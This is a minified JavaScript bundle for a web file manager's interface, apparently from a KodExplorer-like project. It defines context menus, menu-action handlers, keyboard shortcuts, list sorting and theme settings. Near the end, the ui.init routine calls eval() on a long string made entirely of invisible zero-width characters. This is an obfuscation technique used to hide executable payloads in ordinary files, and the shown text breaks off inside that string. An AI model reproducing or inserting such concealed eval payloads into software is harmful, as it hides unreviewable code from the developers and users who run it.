me:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"}}})},N=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},C=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip":ui.path.zip();break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:}},S=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){A(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){A(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){A(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},z=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){A(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'',className:"info",icon:"info",accesskey:"i"}}})},P=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){A(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},E=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){A(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},D=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){A(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},F=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,i){var t=i.$trigger;t.hasClass("file")?T(e):A(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){A(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},A=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,i,t){e&&(rightMenu.hidden(),$(e).contextMenu({x:i,y:t}))},menuShow:function(){var e="hidden",i=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=i.length&&0!=t.length){if(i.find(".disable").addClass("disabled"),t.hasClass("menufile")){var a=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==a?i.find(".unzip").removeClass(e):i.find(".unzip").addClass(e),inArray(core.filetype.image,a)?i.find(".setBackground").removeClass(e):i.find(".setBackground").addClass(e),"oexe"==a?i.find(".app_edit").removeClass(e):i.find(".app_edit").addClass(e),inArray(core.filetype.image,a)||inArray(core.filetype.music,a)||inArray(core.filetype.movie,a)||inArray(core.filetype.bindary,a)?i.find(".open_text").addClass(e):i.find(".open_text").removeClass(e)}if(t.hasClass("menufolder")||t.hasClass("menufile")||t.hasClass("menuTreeFolder")||t.hasClass("menuTreeFile")){var n="disabled",o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip,.search,.more_action";t.hasClass("file_not_readable")?i.find(s).addClass(n):i.find(s).removeClass(n),t.hasClass("file_not_writeable")?i.find(o).addClass(n):i.find(o).removeClass(n)}if(t.hasClass("dialog_menu")){var r=t.attr("id"),l=$.dialog.list[r];l.has_frame()?(i.find(".open_window").removeClass(e),i.find(".refresh").removeClass(e),i.find(".qrcode").removeClass(e)):(i.find(".open_window").addClass(e),i.find(".refresh").addClass(e),i.find(".qrcode").addClass(e))}if(t.hasClass("menuMore")){var c=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(c+=1)}),0==c?i.find(".playmedia").addClass(e):i.find(".playmedia").removeClass(e)}}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var i=$(".frame-right-main .tools").outerHeight();"list"==e&&(i+=26),$(".frame-header").is(":visible")&&(i+=$(".frame-header").outerHeight()),$(".bodymain").css("top",i)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,i){0!=e&&(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")),0!=i&&(G.user_config.list_sort_order=i,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+i).addClass("selected")),LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",i),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+i})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var i=LNG.config_save_error_file;core.authCheck("setting:set")||(i=LNG.config_save_error_auth),Tips.tips(i,!1)}}})})},bindEventMenu=function(){$(".drop-menu-action li").bind("click",function(){if(!$(this).hasClass("disabled")){var e=$(this).attr("id");switch(e){case"open":ui.path.open();break;case"copy":ui.path.copy();break;case"rname":ui.path.rname();break;case"cute":ui.path.cute();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"past":ui.path.past();break;case"remove":ui.path.remove();break;case"zip":ui.path.zip();break;case"share":ui.path.share();break;case"createLink":ui.path.createLink();break;case"add_to_fav":ui.path.fav();break;case"download":ui.path.download();break;case"info":ui.path.info();break;default:}}}),$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),i=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/i)},getPagefileNumber=function(){var e=getRowfileNumber(),i=$(Config.BodyContent).outerHeight(),t=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(i/t)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,i=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/i)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,i=0,t="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==i?(i=timeFloat(),t=o,e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a),void 0):o==t.substr(-1)?(ui.path.setSelectByChar(t),i=0,void 0):(a>timeFloat()-i&&(i=timeFloat(),t+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["backspace","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","ctrl+s","command+s"],function(e,i){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;switch(stopPP(e),i){case"backspace":ui.path.history.back();break;case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(i);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all"); +break;case"del":ui.path.remove();break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var i=$("#PV_Items li.current img").attr("src"),t="image&path=",a=i.substr(i.search(t)+t.length),n=$('[src="'+i+'"],[data-original="'+i+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var t=function(e){var i="&picture=",t=e.search(i);return-1===t?e+i+UUID():e.substr(0,t)+i+UUID()},a=t(i),o=t($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,i=20,t=parseInt($(".file").css("height")),a=t-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(t+n)),l=0,c=0,d=0,p=0;$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=i+(a+o)*c,p=e+(t+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(i){i.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(i){i.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,i){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof i&&i()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍